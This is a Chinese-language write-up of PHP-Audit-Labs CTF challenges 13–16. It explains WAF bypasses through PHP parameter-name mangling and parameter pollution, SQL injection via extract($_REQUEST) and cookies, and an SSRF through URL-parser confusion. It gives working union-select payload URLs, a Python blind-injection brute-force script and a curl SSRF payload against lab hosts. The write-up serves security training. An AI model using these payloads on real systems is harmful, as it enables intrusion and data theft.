PHP-Audit-Labs題解之Day13-16
題目如下:
在做Day13之前,我們先來了解一些需要用到的基礎知識。
- 對於傳入的非法的 $_GET 陣列引數名,PHP會將他們替換成 下劃線 。經過fuzz,有以下這些字元:
- 當我們使用HPP(HTTP引數汙染)傳入多個相同引數給伺服器時,PHP只會接收到後者的值。(這一特性和中介軟體有關係)
- 通過 $_SERVER[‘REQUEST_URI’] 方式獲得的引數,並不會對引數中的某些特殊字元進行替換。
這裡的程式碼中有兩個waf。
第一個WAF在程式碼 第29行-第30行 ,這裡面採用了 dowith_sql() 函式,跟進一下 dowith_sql() 函式,該函式主要功能程式碼在 第19-第26行 ,如果 $_REQUEST 陣列中的資料存在 select|insert|update|delete 等敏感關鍵字或者是字元,則直接 exit() 。如果不存在,則原字串返回。
而第二個WAF在程式碼 第33行-第39行 ,這部分程式碼通過 $_SERVER[‘REQUEST_URI’] 的方式獲取引數,然後使用 explode 函式針對 & 進行分割,獲取到每個引數的引數名和引數值。然後針對每個引數值呼叫 dhtmlspecialchars() 函式進行過濾。
跟進一下 dhtmlspecialchars() 函式,發現其相關功能程式碼在 第3行-第14行 ,這個函式主要功能是針對 ‘&’, ‘“‘, ‘<’, ‘>’, ‘(‘, ‘)’ 等特殊字元進行過濾替換,最後返回替換後的內容。從 第44行和第45行 的程式碼中,我們可以看到這題的引數都是通過 REQUEST 方式獲取。我們可以先來看個例子:
第一次 $_REQUEST 僅僅只會輸出 i_d=2 的原因是因為php自動將 i.d 替換成了 i_d 。而根據我們前面說的第二個特性,PHP取最後一個引數對應的值,因此第一次 $_REQUEST 輸出的是2。
第二次 $_REQUEST 會輸出 i_d=select&i.d=2 是因為 \$_SERVER[‘REQUEST_URI’] 並不會對特殊的符號進行替換,因此結果會原封不動的輸出。所以這題的payload可以根據下面這個思維導圖進行構造:
- 我們通過頁面請求 i_d=padyload&i.d=123 。
- 當資料流到達第一個WAF時,php會將引數中的某些特殊符號替換為下劃線。因此便得到了兩個 i_d ,所以此時的payload變成了 i_d=payload&i_d=123 。
- 前面我們介紹了,如果引數相同的情況下,預設 第二個引數傳入的值 會覆蓋 第一個引數傳入的值 。因此此時在第一個WAF中 i_d=123 ,不存在其他特殊的字元,因此繞過了第一個WAF。
- 當資料流到達進入到第二個WAF時,由於程式碼是通過 $_SERVER[‘REQUEST_URI’] 取引數,而我們前面開頭的第三個知識點已經介紹過了 $_SERVER[‘REQUEST_URI’] 是不會將引數中的特殊符號進行轉換,因此這裡的 i.d 引數並不會被替換為 i_d ,所以此時正常來說 i.d 和 i_d 都能經過第二個WAF。
- 第二個WAF中有一個 dhtmlspecialchars() 函式,這裡需要繞過它,其實很好繞過。繞過之後 i_d=payload&i.d=123 便會進入到業務層程式碼中,執行SQL語句,由於這裡的SQL語句採用拼接的方式,因此存在SQL注入。
因此最後payload如下:
http://127.0.0.1/index.php?submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123
Day14題解:(By 七月火)
這次的CTF題目考察的是一個SQL注入問題,且解法有兩種(PHP版本為5.2.x)。我們先來看一下整個網站的框架。
www應用部署目錄 ├─css存放css靜態檔案 ├─image存放圖片檔案 ├─config.php連線mysql的配置檔案 ├─content.php留言檢視檔案 ├─do.php留言檔案 ├─function.php全域性功能函式 ├─global.php全域性過濾檔案 ├─index.php主頁檔案 ├─login.php登入檔案 ├─logout.php登出檔案 ├─register.php註冊檔案 ├─waf.phpWAF檔案
在觀察程式的過程中,我們明顯發現 content.php 檔案中存在 變數覆蓋 和 SQL注入 漏洞。但是在程式開頭,引入了全域性過濾檔案 global.php ,我們這裡還要看看它是如何進行過濾的。
從下面的圖片中,我們可以明顯看到程式對 GET 、 POST 、 COOKIES 三種資料處理方式不一樣。下面,我們分別來看這兩種解法。
解法一
可以通過 GET 或 POST 向 content.php 檔案傳遞如下 payload 獲取flag:
message_id=-1/*%00*/union/**/select/**/1,flag,3,4/**/from/**/flag
如果是 GET 方式傳遞資料的話,資料會經過 filtering 函式過濾,而在 filtering 函式中,開頭的 eregi 檢測,我們又可以使用 %00 截斷繞過,但是下方還有迴圈替換惡意字元的程式碼,這裡無法繞過。 filtering 函式程式碼如下:
也就是說我們的 payload 經過 filtering 函式處理後變成了下面這樣( select 被過濾掉了):
-1/*%00*/union/**//**/1,flag,3,4/**/from/**/flag
當我們繼續看程式碼時,會發現下面的程式碼又把 message_id 變數的值還原了。因為 content.php 檔案中有程式碼: extract($_REQUEST)
,所以這裡也就造成了注入。
那如果是 POST 方式傳送資料,會先經過 filtering 函式處理,然後經過 safe_str 函式。 safe_str 函式主要用了 addslashes 函式過濾資料,可以發現對我們的 payload 並沒有影響。 safe_str 函式程式碼如下:
這裡能進行注入的原因,主要是因為超全域性陣列 $_REQUEST 中的資料,是 $_GET 、 $_POST 、 $_COOKIE 的合集,而且資料是複製過去的,並不是引用。所以對 $_GET 、 $_POST 處理並不會影響 $_REQUEST 中的資料。
解法二
第二種解法是通過 COOKIE 的方式進行解題。我們會發現程式對 COOKIE 資料的處理方式,明顯和處理 $_GET 、 $_POST 的方式不一樣。對 COOKIE 資料的處理方式具體如下:
payload為: message_id=0 union select 1,2,flag,4 from flag 現在連 eregi 函式都不用繞了。
Day15題解:(By 七月火)
Day15的CTF考察的還是繞過WAF進行SQL注入,具體題目如下:
我們可以看到 第25-26行 ,只要我們知道 Admin 使用者的密碼,就能拿到flag。在 第11行 處 $_GET[user] 和 $_GET[pwd] 兩個變數可控,存在SQL注入。再看 第6-7行 ,當中過濾了 # 、 - 號,那麼我們就無法進行常規的註釋,但是我們可以用 ;%00 來進行註釋。 $black_list 還過濾了很多字串擷取函式,這裡我們可使用 regexp 來解決。最終我們的payload如下:
http://localhost/CTF/?user=\&pwd=||1;%00 對應SQL語句為: select user from users where user='\' and pwd='||1;' 等價於: select user from users where user='xxxxxxxxxxx'||1#
根據以上分析,我們可以寫出如下python程式:
import string import requests import re char_set = '0123456789abcdefghijklmnopqrstuvwxyz_' pw = '' while 1: for ch in char_set: url = 'http://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00' r = requests.get(url=url%(pw+ch)) if 'Welcome Admin' in r.text: pw += ch print(pw) break if ch == '_': break r = requests.get('http://localhost/CTF/?user=&pwd=%s' % pw) print(re.findall('HRCTF{\S{1,50}}',r.text)[0])
Day16題解:(By 七月火)
Day16的CTF考察的是 SSRF漏洞 , flag 只有通過 127.0.0.1 的IP去請求 flag.php 檔案,才能獲得flag。具體題目如下:
可以看到程式對使用者傳來的資料,會先使用 safe_request_url 函式對URL的合法性進行判斷。而在 safe_request_url 函式中,使用 check_inner_ip 函式判斷使用者請求的IP是否為內部IP地址,如果是,則拒絕該請求;否則使用curl進行請求,並將請求結果進行輸出。對於這一知識點,我們可以參考這篇文章: ofollow,noindex">us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages
我們可以利用URL解析器之間的差異處理,構造如下 payload :
curl -d "url=http://foo@localhost:[email protected]/flag.php" "http://題目IP/"